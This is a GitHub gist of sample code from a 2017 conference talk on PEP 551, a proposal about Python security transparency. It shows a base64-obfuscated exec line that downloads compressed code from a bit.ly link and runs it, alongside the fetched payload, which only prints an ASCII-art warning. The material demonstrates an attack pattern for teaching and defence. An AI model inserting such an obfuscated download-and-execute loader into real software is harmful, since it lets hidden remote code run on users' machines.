Skip to content

Instantly share code, notes, and snippets.

@zooba
Last active December 11, 2017 18:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zooba/595dfdcc377778d6f8f4df483c775b71 to your computer and use it in GitHub Desktop.
Save zooba/595dfdcc377778d6f8f4df483c775b71 to your computer and use it in GitHub Desktop.
Sample Python code used in my North Bay Python 2017 session on PEP 551
# This code is the base-64 encoded payload from the single line above, with newlines added for readability.
__import__('gzip').decompress(
__import__('base64').b64decode(
__import__('urllib.request').request.urlopen('http://bit.ly/2iALS0l').read()
)
)
exec(eval(__import__('base64').b64decode(b'X19pbXBvcnRfXygnZ3ppcCcpLmRlY29tcHJlc3MoX19pbXBvcnRfXygnYmFzZTY0JykuYjY0ZGVjb2RlKF9faW1wb3J0X18oJ3VybGxpYi5yZXF1ZXN0JykucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vYml0Lmx5LzJpQUxTMGwnKS5yZWFkKCkpKQ==')))
# This is the payload from the bit.ly address above, both encoded and
# compressed and also the original source.
# (note that the address actually resolves to a different gist)
ENCODED_AND_COMPRESSED = (
"H4sIAKxGE1oC/9WUwQqCQBCG74LvMNhBRZHOLsFKRgXlQhkhEQlhIMgW4vuT7lbqipZGh77TrM7nrPAzLtl7K+K4S29+"
"8glZbWECB1mCHAX6opjfm6YhooYAKi9Rl4mxaGIMGIUMjDpN8V1hGogxwGzMtNCHpmoyXmY+nz8x35lPuGmjkl4mQkNN"
"CFvMJqLJ7ttMgsop+h5lyMxR1cyz0Zo+Nqt+qJktua1ctH62fpL4fzGPsiRLtzSmmaY/C8Ut9wesA+ArxCcQkN0G1s50"
"sfRminWOaBalWhJRzRUXzmF81HW98uXLNYUkphHEFBrdNv8D3lx05cIdYXfVEMQEAAA="
)
# Original source
DOWNLOADING_TOOLS = [
" ",
" ",
" ,+++++++++++++++++'` '++++++; ",
" @@++++++++++++++++@@ @;``````@; ",
" @@ @@ @+;;;;;;@; ",
" @@ @@ @;``````@; .; ",
" @@ @@ @',,,,,,@; ;;;,,,,,,,",
" @@ @@ @@@@@@@@@; :;;;;;;;;;;;",
" @@ @@ @@@@@@@@@; ;;;;;;;;;;;;;",
" @@ @@ @@@@@@@@@; `;;;;;;;;;;;",
" @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@; :;; ",
" ,'''''''@@@@'''''''` @@@@#@@@@; ' ",
" @@@@ @@@@ @@@; ",
" @@@@@@@@@@ @@@@@@@@@. ",
" ",
" ",
" ",
" ",
]
print()
print("DOWNLOADING MY TOOLS TO YOUR MACHINE".center(len(DOWNLOADING_TOOLS[0])))
print()
for line in DOWNLOADING_TOOLS:
print(line)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment